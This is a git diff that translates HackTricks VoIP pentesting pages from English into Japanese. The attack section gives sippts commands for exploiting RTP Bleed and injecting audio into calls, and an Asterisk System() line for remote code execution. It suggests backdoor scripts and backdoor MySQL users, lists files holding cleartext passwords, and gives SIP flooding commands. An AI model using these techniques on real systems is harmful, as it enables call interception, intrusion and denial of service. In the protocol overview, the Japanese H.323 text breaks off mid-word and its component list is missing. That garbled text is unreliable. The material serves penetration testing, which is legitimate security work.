**send RTP traffic to the RTP proxy** and receive the proxied RTP traffic meant to be for the caller or callee of an ongoing RTP stream. We call this vulnerability RTP Bleed because it allows attackers to receive RTP media streams meant to be sent to legitimate users. +RTPプロキシは、RTCシステムに影響を与えるNATの制限に対処するために、2つ以上のパーティ間でRTPストリームをプロキシすることを試みます。NATが存在する場合、RTPプロキシソフトウェアは通常、シグナリング(例:SIP)を介して取得したRTPのIPおよびポート情報に頼ることができません。そのため、いくつかのRTPプロキシは、そのようなIPおよびポートの組み合わせを自動的に学習するメカニズムを実装しています。これは、着信RTPトラフィックを検査し、着信RTPトラフィックのソースIPとポートを応答すべきものとしてマークすることによって行われることが多いです。このメカニズムは「学習モード」と呼ばれることがあり、**いかなる種類の認証も使用しません**。したがって、**攻撃者**は**RTPトラフィックをRTPプロキシに送信**し、通話中のRTPストリームの発信者または受信者向けに送信されるべきプロキシされたRTPトラフィックを受け取ることができます。私たちは、この脆弱性をRTP Bleedと呼んでいます。なぜなら、これにより攻撃者は合法的なユーザーに送信されるべきRTPメディアストリームを受け取ることができるからです。 -Another interesting behaviour of RTP proxies and RTP stacks is that sometimes, **even if not vulnerable to RTP Bleed**, they will **accept, forward and/or process RTP packets from any source**. Therefore attackers can send RTP packets which may allow them to inject their media instead of the legitimate one. We call this attack RTP injection because it allows injection of illegitimate RTP packets into existent RTP streams. This vulnerability may be found in both RTP proxies and endpoints. +RTPプロキシとRTPスタックのもう一つの興味深い振る舞いは、**RTP Bleedに対して脆弱ではなくても**、時には**任意のソースからのRTPパケットを受け入れ、転送、および/または処理する**ことがあることです。したがって、攻撃者は合法的なものではないRTPパケットを送信することができ、これにより既存のRTPストリームに不正なメディアを注入することができます。この攻撃をRTPインジェクションと呼びます。この脆弱性は、RTPプロキシとエンドポイントの両方で見つかる可能性があります。 -Asterisk and FreePBX have traditionally used the **`NAT=yes` setting**, which enables RTP traffic to bypass authentication, potentially leading to no audio or one-way audio on calls. +AsteriskとFreePBXは、従来から**`NAT=yes`の設定**を使用しており、これによりRTPトラフィックが認証をバイパスすることができ、通話時に音声がないか片方向の音声になる可能性があります。 -For more info check [https://www.rtpbleed.com/](https://www.rtpbleed.com/) - -* **`rtpbleed.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** It detects the RTP Bleed vulnerability sending RTP streams +詳細については、[https://www.rtpbleed.com/](https://www.rtpbleed.com/)を参照してください。 +* [**sippts**](https://github.com/Pepelux/sippts)の**`rtpbleed.py`**:RTP Bleedの脆弱性を検出するためにRTPストリームを送信します。 ```bash python3 rtpbleed.py -i 10.10.0.10 ``` - -* **`rtcpbleed.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** It detects the RTP Bleed vulnerability sending RTP streams - +* **`rtcpbleed.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPストリームを送信してRTP Bleed脆弱性を検出します。 ```bash python3 rtcpbleed.py -i 10.10.0.10 ``` - -* **`rtpbleedflood.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Exploit the RTP Bleed vulnerability sending RTP streams - +* **`rtpbleedflood.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPストリームを送信してRTP Bleed脆弱性を悪用する ```bash python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v ``` - -* **`rtpbleedinject.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** Exploit the RTP Bleed vulnerability sending RTP streams (from an audio file) - +* **`rtpbleedinject.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** RTPブリード脆弱性を悪用し、RTPストリーム(オーディオファイルから)を送信します。 ```bash python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav ``` - ### RCE -In Asterisk you somehow manage to be able to **add extension rules and reload them** (for example by compromising a vulnerable web manager server), it's possible to get RCE using the **`System`** command. - +Asteriskで、脆弱なウェブマネージャーサーバーを侵害することで、**拡張ルールを追加して再読み込みする**ことができる場合、**`System`**コマンドを使用してRCEを実行することが可能です。 ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` - -There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary. +**`Shell`**というコマンドは、必要に応じてシステムコマンドを実行するために**`System`**の代わりに使用することができます。 {% hint style="warning" %} -If the server is **disallowing the use of certain characters** in the **`System`** command (like in Elastix), check if the web server allows to **create files somehow inside the system** (like in Elastix or trixbox), and use it to **create a backdoor script** and then use **`System`** to **execute** that **script**. +サーバーが**`System`**コマンドで特定の文字の使用を禁止している場合(Elastixなど)、ウェブサーバーがシステム内で何らかの方法で**ファイルを作成することを許可しているか**(Elastixやtrixboxのように)、それを使用して**バックドアスクリプトを作成**し、それを**`System`**を使用して**実行**します。 {% endhint %} -#### Interesting local files and permissions +#### 興味深いローカルファイルと権限 -* **`sip.conf`** -> Contains the password of SIP users. -* If the **Asterisk server is running as root**, you could compromise root -* **mysql root user** might **doesn't have any password**. - * this could be used to create a new mysql user as backdoor +* **`sip.conf`** -> SIPユーザーのパスワードが含まれています。 +* **Asteriskサーバーがrootとして実行されている場合**、rootを侵害することができます。 +* **mysql rootユーザー**はパスワードを持っていないかもしれません。 +* これを使用して、バックドアとして新しいmysqlユーザーを作成することができます。 * **`FreePBX`** - * **`amportal.conf`** -> Contains the password of the web panel administrator (FreePBX) - * **`FreePBX.conf`** -> Constains the password of the user FreePBXuser used to access the database - * this could be used to create a new mysql user as backdoor +* **`amportal.conf`** -> ウェブパネル管理者(FreePBX)のパスワードが含まれています。 +* **`FreePBX.conf`** -> データベースにアクセスするために使用されるFreePBXuserユーザーのパスワードが含まれています。 +* これを使用して、バックドアとして新しいmysqlユーザーを作成することができます。 * **`Elastix`** - * **`Elastix.conf`** -> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass -* **Several folders** will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed. +* **`Elastix.conf`** -> mysql rootパスワード、IMAPdパスワード、ウェブ管理者パスワードなど、いくつかのパスワードが平文で含まれています。 +* **いくつかのフォルダ**は侵害されたAsteriskユーザーに属しています(rootとして実行されていない場合)。このユーザーは前述のファイルを読み取ることができ、また構成も制御できるため、実行時に他のバックドア付きバイナリをAsteriskに読み込ませることができます。 -### RTP Injection +### RTPインジェクション -It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`). +**`rtpinsertsound`**(`sudo apt install rtpinsertsound`)や**`rtpmixsound`**(`sudo apt install rtpmixsound`)などのツールを使用して、会話に**`.wav`**を挿入することができます。 -Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **scan conversations** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **insert noise** in a conversation (**`rtpflood.pl`**). +または、[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)のスクリプトを使用して、会話を**スキャン**する(**`rtpscan.pl`**)、会話に`.wav`を送信する(**`rtpsend.pl`**)、会話にノイズを挿入する(**`rtpflood.pl`**)こともできます。 ### DoS -There are several ways to try to achieve DoS in VoIP servers. +VoIPサーバーでDoSを試みるためのいくつかの方法があります。 -* **`sipflood.py`** from [**sippts**](https://github.com/Pepelux/sippts)**: **_**SipFlood**_ sends unlimited messages to the target - * `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v` -* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk -* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP. -* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first). -* [**SIPp**](https://github.com/SIPp/sipp): Allows to analyze and generate SIP traffic. so it can be used to DoS also. -* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP swiss army knife. Can also be used to perform SIP attacks. -* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). -* **`sipsend.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPSend allow us to send a **customized SIP message** and analyze the response. -* **`wssend.py`** from [**sippts**](https://github.com/Pepelux/sippts)**:** WsSend allow us to send a customized SIP message over WebSockets and analyze the response. +* [**sippts**](https://github.com/Pepelux/sippts)からの**`sipflood.py`**:**_**SipFlood**_はターゲットに無制限のメッセージを送信します。 +* `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v` +* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/):Asteriskで使用されるIAXプロトコルのDoS +* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt):UDP/IP上でSIP/SDP INVITEメッセージのフラッディングを実行するツール。 +* [**rtpflood**](https://www.kali.org/tools/rtpflood/):複数の正常なRTPパケットを送信します。使用されているRTPポートを知る必要があります(まずスニフィング)。 +* [**SIPp**](https://github.com/SIPp/sipp):SIPトラフィックの分析と生成が可能です。したがって、DoSにも使用できます。 +* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak):SIPスイスアーミーナイフ。SIP攻撃を実行するためにも使用できます。 +* Fuzzers:[**protos-sip**](https://www.kali.org/tools/protos-sip/)、[**voiper**](https://github.com/gremwell/voiper)。 +* [**sippts**](https://github.com/Pepelux/sippts)からの**`sipsend.py`**:SIPSendを使用して、カスタマイズされたSIPメッセージを送信し、応答を分析することができます。 +* [**sippts**](https://github.com/Pepelux/sippts)からの**`wssend.py`**:WsSendを使用して、WebSocketsを介してカスタマイズされたSIPメッセージを送信し、応答を分析することができます。 -### OS Vulnerabilities +### OSの脆弱性 -The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **not update them again** and **vulnerabilities** are going to be discovered with time. +Asteriskなどのソフトウェアをインストールする最も簡単な方法は、**FreePBX、Elastix、Trixbox**など、すでにインストールされているOSディストリビューションをダウンロードすることです。ただし、これらのディストリビューションは一度動作していると、システム管理者がそれらを再度更新しない可能性があり、時間の経過とともに**脆弱性**が発見される可能性があります。 -## References +## 参考文献 * [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) * [http://blog.pepelux.org/](http://blog.pepelux.org/) @@ -565,10 +507,7 @@ The easiest way to install a software such as Asterisk is to download an **OS di ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - - +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolop diff --git a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index ba57e1258..9a5b000a2 100644 --- a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -1,117 +1,95 @@ -# Basic VoIP Protocols +# 基本的なVoIPプロトコル
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-## Signaling Protocols +## シグナリングプロトコル -### SIP (Session Initiation Protocol) +### SIP(セッション開始プロトコル) -This is the industry standard, for more information check: +これは業界標準です。詳細については次を参照してください: {% content-ref url="sip-session-initiation-protocol.md" %} [sip-session-initiation-protocol.md](sip-session-initiation-protocol.md) {% endcontent-ref %} -### MGCP (Media Gateway Control Protocol) +### MGCP(メディアゲートウェイ制御プロトコル) -MGCP (Media Gateway Control Protocol) is a **signaling** and **call** **control protocol** outlined in RFC 3435. It operates in a centralized architecture, which consists of three main components: +MGCP(メディアゲートウェイ制御プロトコル)は、RFC 3435で概説された**シグナリング**および**コール制御プロトコル**です。MGCPは中央集権型アーキテクチャで動作し、次の3つの主要なコンポーネントで構成されています: -1. **Call Agent or Media Gateway Controller (MGC)**: The master gateway in the MGCP architecture is responsible for **managing and controlling the media gateways**. It handles call setup, modification, and termination processes. The MGC communicates with the media gateways using the MGCP protocol. -2. **Media Gateways (MGs) or Slave Gateways**: These devices **convert digital media streams between different networks**, such as traditional circuit-switched telephony and packet-switched IP networks. They are managed by the MGC and execute commands received from it. Media gateways may include functions like transcoding, packetization, and echo cancellation. -3. **Signaling Gateways (SGs)**: These gateways are responsible for **converting signaling messages between different networks**, enabling seamless communication between traditional telephony systems (e.g., SS7) and IP-based networks (e.g., SIP or H.323). Signaling gateways are crucial for interoperability and ensuring that call control information is properly communicated between the different networks. +1. **コールエージェントまたはメディアゲートウェイコントローラ(MGC)**:MGCPアーキテクチャのマスターゲートウェイであり、**メディアゲートウェイの管理と制御**を担当します。通話のセットアップ、変更、終了プロセスを処理します。MGCはMGCPプロトコルを使用してメディアゲートウェイと通信します。 +2. **メディアゲートウェイ(MG)またはスレーブゲートウェイ**:これらのデバイスは、従来の回線交換電話網とパケット交換IPネットワークなど、異なるネットワーク間のデジタルメディアストリームを変換します。MGCによって管理され、それから受け取ったコマンドを実行します。メディアゲートウェイには、トランスコーディング、パケット化、エコーキャンセルなどの機能が含まれる場合があります。 +3. **シグナリングゲートウェイ(SG)**:これらのゲートウェイは、異なるネットワーク間のシグナリングメッセージを変換し、従来の電話システム(例:SS7)とIPベースのネットワーク(例:SIPまたはH.323)との間でシームレスな通信を可能にします。シグナリングゲートウェイは相互運用性を確保し、異なるネットワーク間で通話制御情報が適切に伝達されるようにします。 -In summary, MGCP centralizes the call control logic in the call agent, which simplifies the management of media and signaling gateways, providing better scalability, reliability, and efficiency in telecommunication networks. +要約すると、MGCPは通信エージェントで通話制御ロジックを集中させることにより、メディアおよびシグナリングゲートウェイの管理を簡素化し、通信ネットワークのスケーラビリティ、信頼性、効率性を向上させます。 -### SCCP (Skinny Client Control Protocol) +### SCCP(スキニークライアント制御プロトコル) -Skinny Client Control Protocol (SCCP) is a **proprietary signaling and call control protocol** owned by Cisco Systems. It is primarily **used** for communication between **Cisco Unified Communications Manager** (formerly known as CallManager) and Cisco IP phones or other Cisco voice and video endpoints. +スキニークライアント制御プロトコル(SCCP)は、Cisco Systemsが所有する**プロプライエタリなシグナリングおよびコール制御プロトコル**です。これは主にCisco Unified Communications Manager(旧称CallManager)とCisco IP電話または他のCisco音声およびビデオエンドポイント間の通信に使用されます。 -SCCP is a lightweight protocol that simplifies the communication between the call control server and the endpoint devices. It is referred to as "Skinny" because of its minimalistic design and reduced bandwidth requirements compared to other VoIP protocols like H.323 or SIP. +SCCPは、通話制御サーバーとエンドポイントデバイス間の通信を簡素化する軽量なプロトコルです。その名前の由来は、その最小限の設計と他のVoIPプロトコル(H.323やSIPなど)と比較して低い帯域幅要件にあります。 -The main components of an SCCP-based system are: +SCCPベースのシステムの主要なコンポーネントは次のとおりです: -1. **Call Control Server**: This server, typically a Cisco Unified Communications Manager, manages the call setup, modification, and termination processes, as well as other telephony features such as call forwarding, call transfer, and call hold. -2. **SCCP Endpoints**: These are devices such as IP phones, video conferencing units, or other Cisco voice and video endpoints that use SCCP to communicate with the call control server. They register with the server, send and receive signaling messages, and follow the instructions provided by the call control server for call handling. -3. **Gateways**: These devices, such as voice gateways or media gateways, are responsible for converting media streams between different networks, like traditional circuit-switched telephony and packet-switched IP networks. They may also include additional functionality, such as transcoding or echo cancellation. +1. **コール制御サーバー**:通常はCisco Unified Communications Managerで、通話のセットアップ、変更、終了プロセス、通話転送、通話転送、通話保留などの他の電話機能を管理します。 +2. **SCCPエンドポイント**:これらは、IP電話、ビデオ会議ユニット、または他のCisco音声およびビデオエンドポイントなど、SCCPを使用して通話制御サーバーと通信するデバイスです。サーバーに登録し、シグナリングメッセージを送受信し、通話処理のために通話制御サーバーからの指示に従います。 +3. **ゲートウェイ**:これらのデバイスは、従来の回線交換電話網とパケット交換IPネットワークなど、異なるネットワーク間のメディアストリームを変換する責任があります。トランスコーディングやエコーキャンセルなどの追加機能も含まれる場合があります。 -SCCP offers a simple and efficient communication method between Cisco call control servers and endpoint devices. However, it is worth noting that **SCCP is a proprietary protocol**, which can limit interoperability with non-Cisco systems. In such cases, other standard VoIP protocols like SIP may be more suitable. +SCCPは、Ciscoの通話制御サーバーとエンドポイントデバイス間の簡単で効率的な通信手段を提供します。ただし、SCCPは**プロプライエタリなプロトコル**であるため、非Ciscoシステムとの相互運用性が制限されることがあります。その場合、SIPなどの他の標準のVoIPプロトコルがより適している場合があります。 ### H.323 -H.323 is a **suite of protocols** for multimedia communication, including voice, video, and data conferencing over packet-switched networks, such as IP-based networks. It was developed by the **International Telecommunication Union** (ITU-T) and provides a comprehensive framework for managing multimedia communication sessions. +H.323は、IPベースのネットワークなどのパケット交換ネットワークを介した音声、ビデオ、データ会議などのマルチメディア通信のための**プロトコルスイート**です。これは国際電気通信連合(ITU-T)によって開発され、マルチメディア通信セッションの管理のための包括的なフレ +### IAX(Inter Asterisk eXchange) -Some key components of the H.323 suite include: +IAX(Inter-Asterisk eXchange)は、Asterisk PBX(Private Branch Exchange)サーバーと他のVoIPデバイス間の通信に主に使用される**シグナリングおよび通話制御プロトコル**です。AsteriskオープンソースPBXソフトウェアの作成者であるMark Spencerによって開発され、SIPやH.323などの他のVoIPプロトコルの代替として提供されました。 -1. **Terminals**: These are endpoint devices, such as IP phones, video conferencing systems, or software applications, that support H.323 and can participate in multimedia communication sessions. -2. **Gateways**: These devices convert media streams between different networks, like traditional circuit-switched telephony and packet-switched IP networks, enabling interoperability between H.323 and other communication systems. They may also include additional functionality, such as transcoding or echo cancellation. -3. **Gatekeepers**: These are optional components that provide call control and management services in an H.323 network. They perform functions such as address translation, bandwidth management, and admission control, helping to manage and optimize network resources. -4. **Multipoint Control Units (MCUs)**: These devices facilitate multipoint conferences by managing and mixing media streams from multiple endpoints. MCUs enable features such as video layout control, voice-activated switching, and continuous presence, making it possible to host large-scale conferences with multiple participants. +IAXは、**シンプルさ、効率性、実装の容易さ**で知られています。IAXの主な特徴には次のものがあります: -H.323 supports a range of audio and video codecs, as well as other supplementary services like call forwarding, call transfer, call hold, and call waiting. Despite its widespread adoption in the early days of VoIP, H.323 has been gradually replaced by more modern and flexible protocols like the **Session Initiation Protocol (SIP)**, which offers better interoperability and easier implementation. However, H.323 remains in use in many legacy systems and continues to be supported by various equipment vendors. +1. **単一のUDPポート**:IAXは、シグナリングとメディアトラフィックの両方に単一のUDPポート(4569)を使用するため、ファイアウォールとNATトラバーサルが簡素化され、さまざまなネットワーク環境での展開が容易になります。 +2. **バイナリプロトコル**:SIPのようなテキストベースのプロトコルとは異なり、IAXはバイナリプロトコルです。これにより、シグナリングとメディアデータの送信がより効率的になり、帯域幅の消費が削減されます。 +3. **トランキング**:IAXはトランキングをサポートしており、複数の通話を単一のネットワーク接続に組み合わせることができます。これによりオーバーヘッドが削減され、帯域幅の利用が向上します。 +4. **ネイティブ暗号化**:IAXは、RSAなどの鍵交換のための暗号化とAESなどのメディア暗号化を使用した組み込みの暗号化サポートを持っており、エンドポイント間の安全な通信を提供します。 +5. **ピアツーピア通信**:IAXは、中央サーバーなしでエンドポイント間の直接通信に使用することができます。これにより、よりシンプルで効率的な呼び出しルーティングが可能になります。 -### IAX (Inter Asterisk eXchange) +利点にもかかわらず、IAXにはいくつかの制限があります。Asteriskエコシステムへの主な焦点や、SIPなどのより確立されたプロトコルと比較して広く採用されていないなどの制限があります。そのため、非Asteriskシステムやデバイスとの相互運用性を考慮する場合、IAXは最適な選択肢ではないかもしれません。ただし、Asterisk環境内で作業する場合、IAXはVoIP通信のための堅牢で効率的なソリューションを提供します。 -IAX (Inter-Asterisk eXchange) is a **signaling and call control protocol** primarily used for communication between Asterisk PBX (Private Branch Exchange) servers and other VoIP devices. It was developed by Mark Spencer, the creator of the Asterisk open-source PBX software, as an alternative to other VoIP protocols like SIP and H.323. +## 伝送およびトランスポートプロトコル -IAX is known for its **simplicity, efficiency, and ease of implementation**. Some key features of IAX include: +### SDP(セッション記述プロトコル) -1. **Single UDP Port**: IAX uses a single UDP port (4569) for both signaling and media traffic, which simplifies firewall and NAT traversal, making it easier to deploy in various network environments. -2. **Binary Protocol**: Unlike text-based protocols like SIP, IAX is a binary protocol, which reduces its bandwidth consumption and makes it more efficient for transmitting signaling and media data. -3. **Trunking**: IAX supports trunking, which allows multiple calls to be combined into a single network connection, reducing overhead and improving bandwidth utilization. -4. **Native Encryption**: IAX has built-in support for encryption, using methods like RSA for key exchange and AES for media encryption, providing secure communication between endpoints. -5. **Peer-to-Peer Communication**: IAX can be used for direct communication between endpoints without the need for a central server, enabling simpler and more efficient call routing. +SDP(セッション記述プロトコル)は、IPネットワーク上の音声、ビデオ、データ会議などのマルチメディアセッションの特性を記述するために使用される**テキストベースの形式**です。これは**Internet Engineering Task Force(IETF)**によって開発され、**RFC 4566**で定義されています。SDPは実際のメディア伝送やセッションの確立を処理しませんが、他のシグナリングプロトコル(SIPなど)と組み合わせて使用され、メディアストリームとその属性に関する情報を交渉および交換するために使用されます。 -Despite its benefits, IAX has some limitations, such as its primary focus on the Asterisk ecosystem and less widespread adoption compared to more established protocols like SIP. As a result, IAX might not be the best choice for interoperability with non-Asterisk systems or devices. However, for those working within the Asterisk environment, IAX offers a robust and efficient solution for VoIP communication. +SDPの主な要素には次のものがあります: -## Transmission & Transport Protocols +1. **セッション情報**:SDPは、セッション名、セッションの説明、開始時刻、終了時刻など、マルチメディアセッションの詳細を記述します。 +2. **メディアストリーム**:SDPは、メディアタイプ(音声、ビデオ、テキストなど)、トランスポートプロトコル(RTPやSRTPなど)、メディアフォーマット(コーデック情報など)など、メディアストリームの特性を定義します。 +3. **接続情報**:SDPは、メディアを送信または受信するためのネットワークアドレス(IPアドレス)とポート番号に関する情報を提供します。 +4. **属性**:SDPは、セッションやメディアストリームに関する追加のオプション情報を提供するために属性の使用をサポートしています。属性は、暗号化キー、帯域幅要件、メディア制御メカニズムなど、さまざまな機能の指定に使用できます。 -### SDP (Session Description Protocol) +SDPは通常、次のプロセスで使用されます: -SDP (Session Description Protocol) is a **text-based format** used to describe the characteristics of multimedia sessions, such as voice, video, or data conferencing, over IP networks. It was developed by the **Internet Engineering Task Force (IETF)** and is defined in **RFC 4566**. SDP does not handle the actual media transmission or session establishment but is used in conjunction with other signaling protocols, like **SIP (Session Initiation Protocol)**, to negotiate and exchange information about the media streams and their attributes. +1. 発信側は、提案されたマルチメディアセッションのSDP記述を作成し、メディアストリームとその属性の詳細を含めます。 +2. SDP記述は、通常はSIPやRTSPなどのシグナリングプロトコルメッセージに埋め込まれて、受信側に送信されます。 +3. 受信側は、SDP記述を処理し、その機能に基づいて提案されたセッションを受け入れるか、拒否するか、変更するかを決定します。 +4. 最終的なSDP記述は、シグナリングプロトコルメッセージの一部として発信側に送信され、交渉プロセスが完了します。 -Some key elements of SDP include: - -1. **Session Information**: SDP describes the details of a multimedia session, including session name, session description, start time, and end time. -2. **Media Streams**: SDP defines the characteristics of media streams, such as the media type (audio, video, or text), transport protocol (e.g., RTP or SRTP), and the media format (e.g., codec information). -3. **Connection Information**: SDP provides information about the network address (IP address) and port number where the media should be sent or received. -4. **Attributes**: SDP supports the use of attributes to provide additional, optional information about a session or media stream. Attributes can be used for specifying various features like encryption keys, bandwidth requirements, or media control mechanisms. - -SDP is typically used in the following process: - -1. An initiating party creates an SDP description of the proposed multimedia session, including the details of the media streams and their attributes. -2. The SDP description is sent to the receiving party, usually embedded within a signaling protocol message like SIP or RTSP. -3. The receiving party processes the SDP description, and based on its capabilities, it may accept, reject, or modify the proposed session. -4. The final SDP description is sent back to the initiating party as part of the signaling protocol message, completing the negotiation process. - -SDP's simplicity and flexibility make it a widely adopted standard for describing multimedia sessions in various communication systems, playing a crucial role in establishing and managing real-time multimedia sessions over IP networks. +SDPのシンプルさと柔軟性により、さまざまな通信システムでマルチメディアセッションを記述するための広く採用された標準となっており、IPネットワーク上のリアルタイムマルチメディアセッションの確立と管理に重要な役割を果たしています。 ### RTP / RTCP / SRTP / ZRTP -1. **RTP (Real-time Transport Protocol)**: RTP is a network protocol designed for the delivery of audio and video data, or other real-time media, over IP networks. Developed by the **IETF** and defined in **RFC 3550**, RTP is commonly used with signaling protocols like SIP and H.323 to enable multimedia communication. RTP provides mechanisms for **synchronization**, **sequencing**, and **timestamping** of media streams, helping to ensure smooth and timely media playback. -2. **RTCP (Real-time Transport Control Protocol)**: RTCP is a companion protocol to RTP, used for monitoring the quality of service (QoS) and providing feedback on the transmission of media streams. Defined in the same **RFC 3550** as RTP, RTCP **periodically exchanges control packets between participants in an RTP session**. It shares information such as packet loss, jitter, and round-trip time, which helps in diagnosing and adapting to network conditions, improving overall media quality. -3. **SRTP (Secure Real-time Transport Protocol)**: SRTP is an extension of RTP that provides **encryption**, **message authentication**, and **replay protection** for media streams, ensuring secure transmission of sensitive audio and video data. Defined in **RFC 3711**, SRTP uses cryptographic algorithms like AES for encryption and HMAC-SHA1 for message authentication. SRTP is often used in combination with secure signaling protocols like SIP over TLS to provide end-to-end security in multimedia communication. -4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP is a cryptographic key-agreement protocol that provides **end-to-end encryption** for RTP media streams. Developed by Phil Zimmermann, the creator of PGP, ZRTP is described in **RFC 6189**. Unlike SRTP, which relies on signaling protocols for key exchange, ZRTP is designed to work independently of the signaling protocol. It uses **Diffie-Hellman key exchange** to establish a shared secret between the communicating parties, without requiring prior trust or a public key infrastructure (PKI). ZRTP also includes features like **Short Authentication Strings (SAS)** to protect against man-in-the-middle attacks. +1. **RTP(Real-time Transport 